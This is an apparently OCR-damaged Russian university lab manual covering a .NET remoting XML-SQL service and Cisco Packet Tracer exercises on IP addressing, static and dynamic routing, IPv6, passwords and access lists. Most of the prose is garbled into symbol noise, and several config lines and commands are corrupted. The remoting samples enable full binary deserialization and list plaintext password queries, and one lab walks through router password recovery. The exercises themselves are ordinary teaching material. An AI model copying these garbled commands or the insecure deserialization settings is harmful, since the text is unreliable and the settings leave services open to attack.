8. * , % %% / % 3 % -
- ) EDFA- % % - ( % # Lo-
! ).
9.) % 3 % : )
% % % ( # %3 L, % $ # ).

10.) % : )

% % % ( # %3 ., % $ # ).
0 -2%
+ . y <. 101 , # , + % -
#2 / , % - ! . , % - ! -
%% - |/ % ., ..., - (! # $ , avgorbunov@sfedu.ru

132



, . ( (
+ :10.05.02+, % - ! # %% - |/ %
, D 33 / %% - |/ %
( ( ,
( e ( $
1.
+$# # - / - % 33 -
% , 33 $ / - 2 % , 33 1% -
# , % - - % # # % 1 - -
, % - % % # # % , % - -
/ 13 (messaging); # % % - 1/ %% / % -
%% - / % () / : ! % / %
, % - %
2. * ,
% # | # ! -1 / ' I $ -
2, %- ! ; # % % % / % b
$ ! , % - %
3. " - ( :
$! - # (+ ) «SQLNetRemoting» ! /I, Web
1 , %S %3 %/ # ! ,
% 1 / * % % %% % ' $ %
4. 2 :
+$# + 1 2 % # -
5 ! I
5 -2 # % 1
5"
- - - , % - % 23 $ -
% 3$ % % - ! % % , %
/ -/ :
- % # # , I/ % # % 2 , - 2 -
# # # # 13 , % # # % -
- - 33 % . %3 %
! % ! ! "2 1% |
6 - / / % + .*1 % 2% %, $ % -
6/ % I'$ % / -1& -
23/ / % % , 6 % / ' -
6 - . 1 # # % % -
, ! $ -1& % - % % % % -
23/ $ / $ -1 $ 6 % 1 $ 2
! # % % .
8., % / / % $
/- , %% % $3 % $ -
# |
! % /- , - -
%% / ! 1/ / , % - % % /-
s ! $ , % - % , # , #
1 # % . % , % /- ! %% $ -
$ /
/- $ -2 %% / ! .3
I % # I / () % # # %
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1 -
6 /-
/
% -
3 (
/| -
- , % -
%
- 2% %, $
% $
%
1 ! $#
+ |
, 33
# 2 %
% /- .
) 1
%% %
) %%
5 NetRemoting;
5 1
Web ;
5 , IXMLSQL.

-2

1 $ #2
3 2%
- %1
) #
$
%
#
$
# 1
. %
(%% § )
%
!%-
%% %
3 2%/

11 - #
%,%$ ! %% $
I $# (%% $
, 6 !/ - !
%
%% / !
I/ % -
) % )
6 /- %
- s # [}
, / $/ %1 #
[} / - [}
, % - %
# #2 % #
! /
# , $ #
% + %1 %
% +
1&
HTTPNetService.dll, ! 23 (
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1% ! , - H O# + '3 " %
% % ! /L / I % $
: I'$ , - # # X Web
web.config$ y - 1 , 23
$ ., %3 ! / % % .* %
2.

<configuration>

<appSettings>

<add key="SQLServer" value="INSPIRON17R" />
<add key="Provider" value="SQLOLEDB" />
<add key="Database" value="NewServerTest" />
<add key="PWD" value="xxx" />

<add key="Debug" value="True" />

<add key="FileFilter" value="**" />

<add key="ActivityFolder" value="Talkers" />
<add key="MaxUsers" value="5" />

<add key="FSListen" value="False" />

<add key="UseActivitiesFile" value="False" />
</appSettings>

<system.runtime.remoting>

<application>

<service>

<activated type="XMLSQLServer. XMLSQL, HTTPNetSear&t />
</service>

<channels>

<channel ref="http">

<serverProviders>

<formatter ref="binary" typeFilterLevel="Full" />
</serverProviders>

<clientProviders>

<formatter ref="binary" />

</clientProviders>

</channel>

</channels>

</application>

<customErrors mode="off"/>
</system.runtime.remoting>

</configuration>

"2

% $

%

Web

1 -

, web.config'

2.7 % , - , web.config

$ # ! % + ' $ -
- % . # I # , % -
- - 1

HTTP). * - #HO# + 1 $ 1%  «%% $

1 23 % 2 [ -2 .
+ $ # , - #
/

- : ClientWinApp.exe.config XMLSQLClientWinAsync.exe.config, %
/ 3 4 .

<configuration>

<appSettings>

<add key="Protocol" value="http" />

<add key="ActivateType" value="client" />
<add key="User" value="asus_1" />
</appSettings>

</configuration>

/
%
I %

»

I XML-,

. 3. % , - , ClientWinApp.exe.config
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<configuration>
<system.runtime.remoting>
<application>
<client url="http://inspiron17r/HTTPNetService">
<activated type="XMLSQL, HTTPNetService"/>
</client>
<channels>
<channel ref="http" useDefaultCredentials="trueftg"0">
<clientProviders>
<formatter ref="binary" />
</clientProviders>
<serverProviders>
<formatter ref="binary" typeFilterLevel="Full" />
</serverProviders>
</channel>
</channels>
</application>
</system.runtime.remoting>
</configuration>

4% % , - , XMLSQLClientWinAsync.exe.config
% / ,
XMLSQLMaps.xml. # # / ' $ -
% 2 $ .1 / # , -
- # O#2 : $# 11 % %
# , 6 % / , , %
112 SQL ! /* ! 1
% RunQuery, - % -
(%. .1).*% 5.
<?xml version="1.0" standalone="yes"?>
<NewDataSet>
<xs:schema id="NewDataSet" xmlns="" xmins:xs="Httpvw.w3.0rg/2001/XMLSchema"

xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
<xs:element name="NewDataSet" msdata:IsDataSee"'msdata:Locale="ru-RU">
<xs:complexType>
<xs:choice maxOccurs="unbounded">
<xs:element name="XMLSQLgMaps">
<xs:complexType>
<xs:sequence>
<xs:element name="id" type="xs:int" />
<xs:element name="desc" type="xs:string" minOcel0% />
<xs:element name="query" type="xs:string" minOcsUn" />
<xs:element name="rFile" type="xs:string" minOcstil0" />
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:choice>
</xs:complexType>
</xs:element>
</xs:schema>
<XMLSQLgMaps>
<id>0</id>
<desc>Get all Users, Passwords</desc>
<query>select Name, Password from Users</query>
<rFile>r_Users_1</rFile>
</XMLSQLgMaps>
<XMLSQLgMaps>
<id>1</id>
<desc>Get active users</desc>
<query>select Name from Users where dischargedm@«y>
<rFile>r_Users 2</rFile>
</XMLSQLgMaps>
<XMLSQLgMaps>
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<id>2</id>

<desc>Get Users with Passwords</desc>

<query>select Name, Password from Users wherevBedss not null</query>

<rFile>r_Users_3</rFile>

</XMLSQLgMaps>

<XMLSQLgMaps>

<id>3</id>

<desc>Get User Works</desc>

<query>select UserName, SysUser, HostName, IP, MAGgramName, discharged from Users INNER
JOIN UsersWork ON User_ID = UserID

</query>
<rFile>r_UWorks_1</rFile>
</XMLSQLgMaps>
</NewDataSet>
.5.% % , XMLSQLMaps.xml
6. " :
5 % + % 3 % %% % ) -, $
1 % +
5 % , 1 % , o= ,
/ % - $ % 3 % +
5 % + % % , $ $ 1 !
/ ( ) Web , 1 ;
5 / ! I
5 - # % 1 % % 1%
5 1& " , + / ( -
% 1 , 6% ' , , 2 ) # % log-, ;
5 # ! % 6 % , % + - , %- % % -
5 | # % # % % ! $ !
, % - % ;
7.
1. *1 % ! 1 *
2. < %
3...# % - % - % - % .
4, ! ' 33 % / - !/ 6, -
5. < , % - %/l (+ )
6. < % +
7. < % +
8. < 1 +
9. ; - %
10.; - %
11.; ! /'$ 1/ % .
12.UML-/% , %% | # % +
13. ! 1% % % % +
14, ! /- - / % /
15. 6,, %%
16. $! - # .
17.; % , %, - ! , % - % -
% +
0 -8%
+ s , < : -
(- # # ) P | % o# $

mrb402@mai.ru.
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+ : 10.05.02+, % - ! # %% - |/ %
3 , % - % /
. % $ , % - , ! %% -
'$ $
1.
5 % | ! - , %
5 I # , , % '
2. * .
5 % # , # )
5 # % , , #/ #/
% Packet Tracer.
3. " - (
% #2 , ! %% -
. ' Cisco 2811, %%
Catalist 2600, % #2 , % Packet Tracer.
4. 2
]l y % !
5"
+ 1 :
1. / %% - $! 1)), — 14+, 2017. .41-45; 194-200.
2. % $ , % - : %% - ;3! %
I .. % .9 %)), L] , # -
:0 , 2016. . 135-145.
6. "
1. %%  Packet Tracer( .1.1)
2., % ! % $ ( .12, $ '# 1$2 1 # %'
2811 ¢ 2 % 1% ), 2 %% 2960 06 2 ), 4 $/ % 2
).
3. | % . 1.2 # FastEthernet 0/Q%6 ' I % %
FastEthernet%% . $ # FastEthernet 0/1 %% % 2 -
% % # # % |l #  (Straight
Through), ' $
4. # %% ! % FastEthernet% #2 %% % ( .1.2).
5. * I % # -1 « » $ , -
% 6 % « » $ % -
6. * % ' $ $#2 , -2 % ' , $
7. , -2 $/ % % ipconfig % , $  « -
» % #2 6% ( .13+ [/ % 2 ! «!$ » —
(Desktop). * 6 % ( . 14. ! 1% % (Command
Prompt). % ipconfig (. 1.5).. # ' $ .
8. $/ 1: 192.168.1.11/24; 192.168.1.12/24; 2:
192.168.2.21/24; 192.168.2.22/24. 6 , ! % #2 1% Desktop ( .1.4) !
1% IP Configuration ( / . 1.4)* 6% ( .16).03 '# -
'2 |- Default Gateway). $ - I %#2 |/
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10.

%

1%

1%

$/

%

.13

.14

.15
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(ipconfig).

$ 1
CLI(

«

. 1.7).

$

»% '

*

%%



.1.6.

1#

%

17,
11.* $# % - % 1
% 1% (Continue with configuration dialog? [yes/no]:).
# , ! no n ( % ,
1 ( .18).* 6%%' / # # 1%
23% "% :
Router>
12+ # # 1% %1 , ! %
Router>enable
Router#
13.+ 1% % # 32 -2
ning configuration) %
Router#show running-config
3
Router#sh run
14. # , % 1% ' #
% configure terminal 3
Router#conf t
Router(config)#
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.18.

15. 23 % % %'
Router(config)#hostname R-
R-A(config)#
!

% $ % 2 .
, , FO/0, FO/1 % ' ot # FO/0 -
192.168.1.1/24; FO/1 — 192.168.2.1/24.%
R-A(config)#interface fastethernet 0/0
* 6% %"’ / 1% # (-.% )
" % R-A(config-if)#
R-A(config-if)#ip address 192.168.1.1 255.255.255.0
R-A(config-ify#no shutdown
% interface fastethernet 0% 1 ! # 3 , % intfo/0, % ip
address 192.168.1.1 255.255.255.0 — ip add 192.168.1.1 255.255.255.0.
$ # , -2 FO/1.
16.* % ' $ 32 , -2 % ' %
R-A#show running-config
3 R-A#sh run
* 1% # , 1%
% ctr z # % exit.
* %% % 3 , - .
17. % show ip interface brief % 1% . , % - $ -
? $ .
18. % show interfaces: %% # .
19. % ipconfig % Y% #2 %% # .
20 # ! I # , # % ping, tracert, tracerout, $
% ping, tracert, tracerout$ / ' . % tracert -
$/ . % tracerout — % ' L+ $ % , 11 -
% % % % .. # %% .
21. % ping 127.0.0.1. 6 % ?1& # .
22* % show ip route % , % %2 % ' L $ .
23.+ % % %' X % , -2 % ' % sh run.
24) |/ 32 , -2 , % reload 1% .* -
% , -2 L 1& $ ' .
25. $ ! # , -2 startup-config, $ %
Router__ #erase startup-config% 1 # # 1 #2 1
7. :
1. $# 1% ! $ , % CLI?
2. 1% , # 2 % ' / %% /I, % -
2 1% /[ ?
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3. % %1 # # % / ?
4, / $/ % reload?
5. * % / 3 , - ?2( / ?
6. # 2 , -2 ?
7. % # 2 , , % - % ' ?
8. % % $ 2 / , % ? /| 2%# 2
9. '2 % $ 2 ? , # ?
10.* % % % %1 % # 2 , %-2 % #2 ?
11. % ping 127.0.0.1?
0 -23%
+ , , <. *(+ o ) ) ., e-mail:
vasin@psati.ru, . (846) 332-08-05
+ : 10.05.02+, % - ! # %% - |/ %
3 , % - % / .
, % $ , % - , %% -
'$
1.
5 * | ! - ! % '
5 | # , % '
2. * ,
5 % # # , #H %1 $ /
5 # % , ! ! #/ #/
%
3.*$# % # -1$ 1 $
% #2 , | %% -
. ' Cisco 2811, %%
Catalist 2600, % #2 , % Packet Tracer.
4. 2
) % '
5"
1. / %% - C 3! ). — i)+ , 2017. . 34-41.
2. % $ , % - : %% - oS! %
/I .. % . .9 % V) ) , .| , # -
- .:0 , 2016. .216-218.
6. "
! % ! ! 2.1, - I- 21./% %1
| # Packet Tracer #% | % ' % 1 -
! I/ % # # # (Serial) S1/1, S1/2.
% ' 2811 # (Serial) . /

/' % « # »%' I # Physical / %2 ( .22). 2 -
$# ( )% L+ % 2 # 2 2 ' &% NM-4A/S
( .22), 28# %' # , S1/1% ' ( DCE —

) , % S1/2% '
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.2.1.1%

* 21— , % '
IP- + IP- ,

# 1 192.168.10.0/Z Fo/C 192.168.10.

# 2 192.168.20.0/Z Fo/C 192.168.20.

S1/1 200.30.30.1

3 200.30.30.0/24 S1/2 200.30.30.1
1. # % %' (R-A, R-B) Fast Ethernet , % '

.21, , % 3 !
! = 1
.2.2.
, # # (serial)

R-A(config)#int s1/1

R-A(config-if)#ip add 200.30.30.11 255.255.255.0
R-A(config-ify#no shut

$! , S1/1 % DCE YV % # %
R-A(config-if)#clock rate 64000
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%
3.

4.)

10.

11..

32

$ 64000 # $ / 2

$ , , S1/2, # % DTE, 6 %
clock rate 1 .
, # $/
Host 1-1 —192.168.10.11, Host 1-n —192.168.10Hb8t 2-1 — 192.168.20.21,
Host 2-n — 192.168.20.29, 23 ‘2 % $ 2 .
, 1, ! ! = 1.
% ' / , # % ' - RIP. | -
% ' - % $ 3 .*6 % -
! 23 # # % I 1& !

Router>enable

Router#conf t

Router(config)#hostname R-A
R-A(config)#router rip
R-A(config-router)# network 192.168.10.0
R-A(config-router)# network 200.30.30.0
*

% network — / % ' -
$ , % .
% % ping, show run, show ip route # ! I # , /' %
# , -2 .
% shiproute % # - % ' -
# /
% ' # % # #

1

Router(config)#hostname R-A
R-A(config)#line console 0
R-A(config-line)#password cis-1
R-A(config-line)#login
*# ! I # , $ # % exit 1% ,
# .
6% |/ ? # % ' % , #
/ 1%
% ' , #
R-A(config)#enable password cis-2
R-A(config)#enable secret cis-3
*

# ! I # , $ # % exit # # -
% # .
# 1% ?2*$% ?
*% # 32 , -2 (sh run).* %% # , %-2 ! -
/. , % ?
% ' # % :

Router(config)#hostnam’e R-B
R-B(config)#
*

% telnet # % '
R-Bt#telnet 192.168.10.1
6 % |/ ?2*$% 7

) %' , # # #
R-A(config)#line vty 0 4

R-A(config-line)#password cis-4

R-A(config-line)#login

*

% telnet # % % '
R-Bttelnet 192.168.10.1
6% |/ ?*$% ?
1% % # % %' RA '#
K# $ % % .
# % ' $ Host 2-n.
% , -2 % ' , # %
R_A(config)#service password-encryption
*# 32 , -2 .Y %% # , %-2 ! / -
, % ?
1% .
) % % # % service password-encryptioh. %% # -
-2
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12. | # 32 , -2 m
R-A#copy run start

13.
# # ! # # enable passworth 1 # , # ena-
ble secret% 1 % # % .8 # , $ % %
$ # (console)* % I/ % !
$ % $ ,o- .
14> # $ .- %
R-A#show version...
Configuration register is 0x2102
15. 2% # #  25# %'
$ 1% , ( ) / % ' -
, 1 # ' Ctr+Break 6% %! / 1%
rommon 1>
16. %
rommon 1>confreg 0x2142,
- |
17. 23 %
rommon 2>reset
- , ' %
Continue with configuration dialog? [yes/no]:
1 # - # —no.
' , 2 !
*# 32 , -2 I* %% #
Router>enable
Router#show run
18. / 1 .- I 3 % NVRAM, # %
Router#copy start run...
R-A#
19 # 32 , -2 !
R-A#show run
20. I % % 32 , -2 % # , % # ]
21. # 1 $ v
R-A(config)#config-register 0x2102
22. | # 3 .- ,
R-A#copy run start
7. :
1. $% 2% I# , #1/ , ?
2. % clock rate?
3. , 1% %1 33 # % 2
4, # ! % enable password enable secret?
5 *$% I % # % # I $ -
# ?
6. $ # % service password-encryption?
7. / % % % % service password-encryption?
8. *$% % no service password-encryption 2 , % ?
9. $ , - ?* % % 1 % -
# 2
10. 1 # # enable secret?
0 -4%
+ , < (O ) ) ., e-mail:

vasin@psati.ru, . (846) 332-08-05
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+ : 10.05.02+, % - ! # %% - |/ % ,
3 , % - % / .

, : % $ , % - , %% -
1.
* ) % ! # ’

2. * ,

% # , # ' . % , Lo
! #/ #/ % .

3. " - ( :

% #2 , | %% -

. ' Cisco 2811, %%

Catalist 2600, % #2 , % Packet Tracer.

4. 2

, # % Packet Tracer

5"

1. / %% - D 3! 1)), = i)+ , 2017. . 155-167.

2. % $ , % - : %% - oS! %

/I .. % . .9 % V). ,o L] - -
.— .:0 , 2016. . 143-145.

5"

1. # % Packet Tracer, %0 # # % ' 2811 3.1.
* # % ' 2811 % # , Fast Ethernet, I # 3 2
(F1/0, F1/1), NM-2FE2W 1%  Physical.* % ' 1

25 # - 2%# . # % $
. 3.1
2. . # % 192.168.1.128/25 ,$ ! * -
1! 50 % #2 , * 2-25 %#2 , * 3-1 l# % % #
% 1 $ % #2 $ % 255.255.255.240, * 4- 1 | #
% % # % 1 $ % #2 $ , 129.
3. % # [ % $ , . % #2 1
1 '3 # 1 , ! $ .
4, # /1% . .31 %#2 I %
2.0 ' # '2 % $ 2 ).
5. # , - , % ping 1 % #2 #
'2 % $ 2 . # , # $ .
6. # , % '
7.* # # % % show running-cofig, show ip route. 2 , % -2 $ -
# $
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8. * # B5.1& # t % .
9. *% , # # 1
10. # # ? % 1 -
# # 6 ?
7.
1. $ ?
2. ?
3. 1 % 1 # %% ?
4. % % % 2 , 120, 123, /26, /28, /30?
5. # % % # % 1 | # , % # %
255.255.255.224? # % % # 1 ?
6. 2 # 172.20.171.25/18? '3 # 6 ?
7. 2 # 172.20.171.25/20? '3 # 6 ?
8. 2 % # # , % 8% 10-12 % #2 1% ?
9. ! '2 % $ 2 % #2 '3 #
10.10.10.160/277
10. ! '2 % $ 2 % #2 '3 #
172.20.10.128/26?
11. ! %% 172.16.51.16/24, 172.16.51.17/24, ..., 172.16.5243/
# "# I % ) - IP- ?
1
1. . % % % # $ / 10.169.77.16/28; 172.18.190/27;
192.168.55.112/29.
2. 172.16.10.0/24 % 10 8—-14 % #2
1 . ! % ?
3. 10.1.5.0/24, % 2 50-60 % #2 , 2
25-30 % #2 , 2 10-12 % #2 , 2 5-6 % #2 , # -
# # - «$ -% »
4, 1 $ |/ 172.16.16.0/24, 172.16.17.0/24,
172.16.18.0/24, 172.16.19.0/24.
0 -23%
+ , y < . *( + y ] ] ) ') "
e-mail: vasin@psati.ru, . (846) 332-08-05
+ : 10.05.02+, % - ! # %% - / % ,
3 , % - % / .
, % $ , % - , %% -
'$ 1Pv6
1.
5 * 1 ! - IPv6.
5 I # , IPVv6.
2. * ,
% # # IPv6, # % , #/
#/ % Packet Tracer.
3. " - ( :
% #2 , | %% -

Catalist 2600, % #2

, % Packet Tracer.
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, IP
5"
1./ %% - : $! 1)) = i)+ , 2017. . 137-1409.
2 % $ , % - : %% - D 8! %
[ .. % y e .9 % V)Y g ! A .=
:0 , 2016. . 145-149.
6. "
1. Packet Tracer, % # # ( .40, # % ' 2911. /% -
# $ .
2. % # % ' 2911 % #1/ (Serial) , I %
# HWIC-2T. #/ , ! %
P = 2.
L4.1.(
3. # , I # % ' - 2001:db8:a/48, 1,2, 3,4.
4.) 1% # , % #2
5 # , % ' , % R- :
R-B(config)#int g0/0
R-Bconfig-if)#ipv6 add 2001:db8:a:4::1/64
R-Bconfig-if)j#no shut
R-B(config-if)#int s0/02/1
R-B(config-if)#ipv6 add 2001:db8:a:3::1/64
R-B(config-if)#clock rate 64000
R-B(config-ify#no shut
6. * # , -2 % showrun. # $
7. $ , # , % '
8. * # , -2 % showrun. # $ .
9. # % sh ipv6 route / %' / D& # 1% - %' -
- . # $ .
10. , # % #2 .2
11*  # 2 , % -2 % % ipv6config, ipconfig.!& # # #
$ .
12. & # »'2 % $ 2
13+ %' « # » # I # % #2 %% -
# # .
14. # % #2 . 0.
15. , # % #2 . L
16.+ %' # o H# %% # -
# % .
17+% # # , % ' "% % 2 , # -
% . % % FE80:1 21 % % : ipv6 add fe80::1 link-local 1%
18.* % # % shipv6 route / %' / D& # 1%
- %' -
19. # $
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7. :
1. # " # I % - IP- ?
2. # $/ 1 $ IPv6- | ?
3. IPv6?
4. #/ # 2 IPv6- [ ?
5. 23/ # | # ?
6. + $2 # # ? $ 1 2
7. 2 % I % # # 3! %! $ - # 1% IPv6?
8. $ I % ICMP? 13 ?
9. * % IPv6, # % - $!/
-l 1& $ 1 ! .
10.* % IPv6, , # % %/ -
% EUI-64.
11. Packet Trace®b 1 2 /%
0 -2%
+ , , <. ] (O ) .) ., e-mail:
vasin@psati.ru, . (846) 332-08-05
+ : 10.05.02+, % - ! # %% - |/ % ,
3 , % - % / .
, : % $ , % - , %% -
'$
1.
5 * | $ % ' -
5 I # , $ / % '
2. * ,
5 # - $ %' - :
5 # % , $ % ' - #/
#/ % Packet Tracer.
3. - (
% #2 , ! %% -
. ' Cisco 2811, %%
Catalist 2600, % #2 , % Packet Tracer.
4. 2
: $ / % '
5" :
1. / %% - D $! 1)) . = i)+ , 2017. . 213-229.
2 % $ , % - : %% - © 8! %
/.. % . .9 % V)Y g A .=
:0 , 2016. . 165-168.
6. "
1. # % Packet Tracer, % /% ! ! ( .51).+ # -
% 2911, %% - 2960. 1 % -
# , HWIC-2T (serial 0/3/0 serial 0/3/1). 1% $
2. % I %" , % :
Router(config)#hostname R-
R- (config)#
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.5.1./% IPv4

3., / / , % -
% % | % . , .
4, * , -2 ( ) . - / , I %' -
% % show ip route, show running-config, show ip inaed brief. % ' -
$ .
5. 1% $ % (% #2 ) $# # IP- , 2 %
‘2 % $ 2 ! % ( .5.2).
6. ! , # $ 2 %' -2 % 1 # %'
% % % $ , % , % % % ' -
. , $ % ' - # % ip route,
1 % :
5 $ :
5 2 %
5 23 / (2 ) / , , % -
% .
7. # % 23 / , $ 2 %' -2
I % / ) % , %! R- ( .51 %
( # 2-192.168.20.0,# 5 - 200.5.5.0, # 6 — 200.6.6.0),6 % 1 1# %
"% $ % % ( 1-192.168.10.0, 3 —-192.168.30.0, 4 —192.168.40.0,
7 —200.7.7.0):

R- (config)#ip route 192.168.10.0 255.255.255.0 2@015.
R- (config)#ip route 192.168.30.0 255.255.255.0 2@)25.
R- (config)#ip route 192.168.40.0 255.255.255.0 2@)25.
R- (config)#ip route 200.7.7.0 255.255.255.0 200.6.6.2

8. * , -2 ( ) . - I %' % % show ip route,
show running-config. # % 3 S $ I -
%' - L H# 1 2 .
9. * %% - %' - I %' D& # % -
% .
10* # ! | # # % % ping tracert, %/ $/
o# 1 2 .
11 # ! I # # % % ping tracerout, % / % ' -
/ o# 1 2 .
12. $ %' - % $ 2
13. $ % % % ' R-A, %
R- (config)#no ip route 192.168.20.0 255.255.255.0.2002
14.* .- % ' R-A % % show ip route, show running-
config.
15. , $ 2 %' -2 % $ 2
R- (config)#ip route 0.0.0.0 0.0.0.0 200.5.5.2
16.* , - % ' R-A % % show ip route, show running-
config.. # 1 2 .
17% # ! | # # % % ping tracert, % / $/
o # 1 2 .
18. , $ %' - # % / ,
19. $ % I % / ( .1.1).
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20.* , - % ' % show ip route.
21. , $ 2 %' -2 I %' / # % /-
, ) % , % R- :
R- (config)#ip route 192.168.10.0 255.255.255.0 s0/3/1
R- (config)#ip route 192.168.30.0 255.255.255.0 s0/3/0
R- (config)#ip route 192.168.40.0 255.255.255.0 s0/3/0
R- (config)#ip route 200.7.7.0 255.255.255.0 s0/3/0

22.* , I %' % % show ip route, show running-
config.
' $ I - % ' - . $ I - L& -
, $% %3 6 ! %' - .
% %' - # % / /2
, $ %' - ! 1Pv6
23., % ! % ! ! ( .52).+ # % 29011,
%% - 2960. 1% $
.5.2.1% IPv6
24. % I %' .
25. , / / , % ' -
% % /% . , .
26.+ % % $ $ # , ! %
Router(config-if)#ipv6 add fe80::1 link-local.
27.* , -2 ( ) o, - / , I %' -
% % show ipv6 route, show running-config, show ipvéenface brief. % '
$ . %% $
. # 1 2 .
28. 2% %' - IPv6 1% %' %
Router(config)#ipv6 unicast-routing
29. 1 % $ % (% #2 ) $# # IP- , 2 %
'2 % $ 2 1 % ( .5.2).
30. # % 23 / , $ 2 %' -2
I %' / .
31.* .- I %' % % show ipv6 route, show running-
config. ' I - %' - $ . $ I -
- # % / ,
32. $ % I %" / .
33.* .- % ' % show ipv6 route.
34. $ 2 %' -2 I %' / # % [ -
35.* .- I %' % % show ipv6 route, show running-
config. ' I - %' - $ . $ I -
- % $ 2
36. $ % % % ' R-A.
37.* , - % ' R-A % % show ipv6 route, show running-
config.
38. , R $ 2 %' -2 % $ 2
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39.* .- % ' R-A % % show ipv6 route, show running-
config. ' $ I - %' -
40.. # 1 2
41.* # ! I # # % % ping tracert, % / $/
# 1 2
7. :
1. $ 2 %' -2 ?
2. % # 2 $ % ' - ?
3. , % % , $ %' - ?
4. , % % , $ % ' - # % /
?
5. , % % , $ % ' - %$ 2 ?
6. % % % %$2 % ?
7. % % % %$2 % , % % ?
8. * % %1 % # I - %' - ?
9. % # 2 , - ?
0 -4%
+ , , <. *+ g ) ) ., e-mail:
vasin@psati.ru, . (846) 332-08-05
+ : 10.05.02+, % - ! # %% - |/ %
3 , % - %/ .
, : % $ , % - , %% -
'$
1.
5 * | %$ % ' - .
5 I # , % $ %' -
2. * ,
5  # | % - RIP, EIGRP.
5 # % , RIP, EIGRP #1/ -
#/ % Packet Tracer.

3. " - (
% #2 , ! %% -
. ' Cisco 2811, %%
Catalist 2600, % #2 , % Packet Tracer.
4. 2

, %$ %' -
5"
1/ %% - D B! 1)) - +) + , 2017. . 230-260.
2. % $ , % - : %% - D 8! %

[ .. % e .9 % V)Y , , ! , # -

- .:0 , 2016. . 168-176.
6. "
1. # % Packet Tracer, % /% ! ! ( .6.1).+ # -
% ' 2911, %% - 2960. ! % $ .
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.6.1./%

2., % I %' , %
Router(config)#hostname R-
R- (config)#
3., / | % , % '
% % , .
4. * , -2 ( .- / , I %'
show ip route, show running-config, show ip integfdrief. % ' $
. # 1 2 .
5 1% $ % (% #2 ) $# # IP- , 2
'2 % $ 2 ! % . .6.1L
6. ! , # %$ 2 %' -2 I % #
, % # % / (network).
) % , % ' R- # # % ! 23
R- (config)#router rip
R- (config-router)#network 192.168.20.0
R- (config-router)#network 200.5.5.0
R- (config-router)#network 200.6.6.0
% / 1% # (-.%
7. RIP #1 % ' /
* , -2 ( ) . - I %' % %
route, show running-config. ' $ - % ' - # %
3
. # 1 2
1& , , % % .
8. * # ! I # # % % ping tracert, % /
o # 1 2
9. * # ! I # # % % ping tracerout, % /
/ # 1 2
'$ RIP2
10., % ! % ! ! ( .6.2.+ # %
%% - 2960. /%
.6.2. /1% ! !
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11. % %' , / / /% , -

% % . .6.2.
12.* , -2 .- I %' % % showip route, show run-
ning-config, show ip interface brief. % ' $ .
13. 1 % $ % (% #2 ) $# # IP- , 2 %
‘2 % $ 2 ! % . .6.2.
14.* , -2 .- /I %' % % show ip route, show run-
ning-config, show ip interface brief. % ' $ .
15.1 % $ % (% #2 ) $# # IP- , 2 %
‘2 % $ 2 ! % . .6.2.
16. RIP I % / .
* , -2 ( ) . - I %' % % showip
route, show running-config. ' $ - % ' - .
* # ! I # # % % ping.. # 1& -
2 .
) I %' / % % ' - RIP2, % % $ -
%% % , % :
R- (config)#router rip
R- (config-router)#version 2
R- (config-router)#network 192.168.30.64
R- (config-router)#network 200.5.5.0
R- (config-router)#network 200.5.5.4
R- (config-router)#no auto-summary
17.* , -2 , - I %' % % show ip route, show run-
ning-config.* %% ' $ % .
18* # ! I # # % % ping, %/ $/
% . H# 1& 2 .
'$ EIGRP
19. $ EIGRP # /% . .6.2
20) |/ %' / % % ' - RIP2.* , -2 —_—
- I %' % % show ip route, show running-config, show ip inae brief.
21) | %' / , %' - EIGRP % % $ -
%% % , % :
R- (config)#router eigrp 20
R- (config-router)#network 192.168.30.64 0.0.0.63
R- (config-router)#network 200.5.5.0 0.0.0.3
R- (config-router)#network 200.5.5.4 0.0.0.3
R- (config-router)#no auto-summary
22.1& , $ $2 % 20, 0.0.0.63, 0.0.0.3.
23.* , -2 , - I %' % % show ip route, show run-
ning-config.* %% ' $ % , - .
24 # ! I # # % % ping.. # 1& -
2 .
7. :
1. , % %$ %' - ?
2. % # 2 $ % ' - ?
3 , % % , $ % ' - ?
4 , % % , $ %' - # % /
?
5. , % % , $ %' - %$ 2 ?
6. % % % %$2 % ?
7. % % % %$2 % , % % ?
8. % % % %$2 % , % RIP?
9. , % % , RIP?
10.* % % 1 % # I - % ' - ?
11. % # 2 , - ?
12. $% %3 RIP2 2 RIP?
13. 2 , 2 /] / $ % ?
14. $ ! RIP, RIP2?
15. $ Hello EIGRP?
16. # 2 % RIP, RIP2,EIGRP 1% %' , % - ?
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17. - EIGRP?

18. EIGRP % %' , % - ?
19. I - 1 2 , %-2 ?
20. % $ % EIGRP?
21. % % EIGRP$ 2 %$ 2 ?
22. - %% ?
23. , % % , EIGRP?
24. 2 , %-2 1 I - ?
0 -4%
+ , , <. ] (O ) ) ., e-mail:
vasin@psati.ru, . (846) 332-08-05
+ : 10.05.02+, % - ! # %% - |/ %
3 , % - %/
, : % $ , % - , %% -
'$ OSPF
1. :
* OSPF. | # , %$
%' - OSPF.
2. * ,
# % - OSPF. # % ,
OSPF #/ #/ % Packet Tracer.
3. " - (
% #2 , ! %% -
. ' Cisco 2811, %%
Catalist 2600, % #2 , % Packet Tracer.
4. 2
, % $ % ' - OSPF.
5"
1. 7/ %% - D B! 1)) = i)+ , 2017. . 263-283.
2 % $ , % - : %% - C 8! %
/I .. % y e .9 % D)) g ! A .=
:0 , 2016. . 175-182.
6. "
1. # % Packet Tracer # ! /% ! -
( .8.1).+ # % 2911, %% - 2960. | %
2., % I %' , %
% /% . , .
3. 1% $ % (% #2 ) $# # IP- , 2 %
'2 % $ 2 ! % ( .8.1).
4.) | %' / , %$ 2 %' -2 # % -
RIP.
5. * , -2 I %' % % show ip route show running-config,
show ip interface brief % ' $ .
*H# ! I # # % % ping tracert. -
7 6
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2 1.
, , $ ! 1! # %
192.168.20.11 2, # 2 3 % ! # 1 -
# , FO/0% ' R-A.) % (10) !
1-99. % %
R-A(config)#access-list 10 permit 192.168.20.11
R-A(config)#int f0/0
R-A(config-if)#ip access-group 10 out
*# ! I # T - %% 2
#
2 2.

11 I # % % 2 % 3 %
192.168.30.11, # 3 1 % # # -
, FO/0 Router_A.

I/ % H O# 2 % (WildCard mask)) $ -
iq % $2 ! I 23/ ,
— 23/ [
% ! % ,% 0.0.0.0 I / 6% $
! rro# 1 . 0.0.0.255 1L # ! #
$ # ) - % 10S% ' 12 -
# % # % WildCard ! '
host . 192.168.30.11 0.0.0.0 #2 -
host 192.168.30.11, 1 rro# #
R-A(config)#access-list 11 permit 192.168.30.11@M
R-A(config)#access-list 11 permit 192.168.20.0@Z5b5
R-A(config)#int f0/0
R-A(config-if)#ip access-group 11 out
*# ! I # !
#
2 3.
.81V % # , :
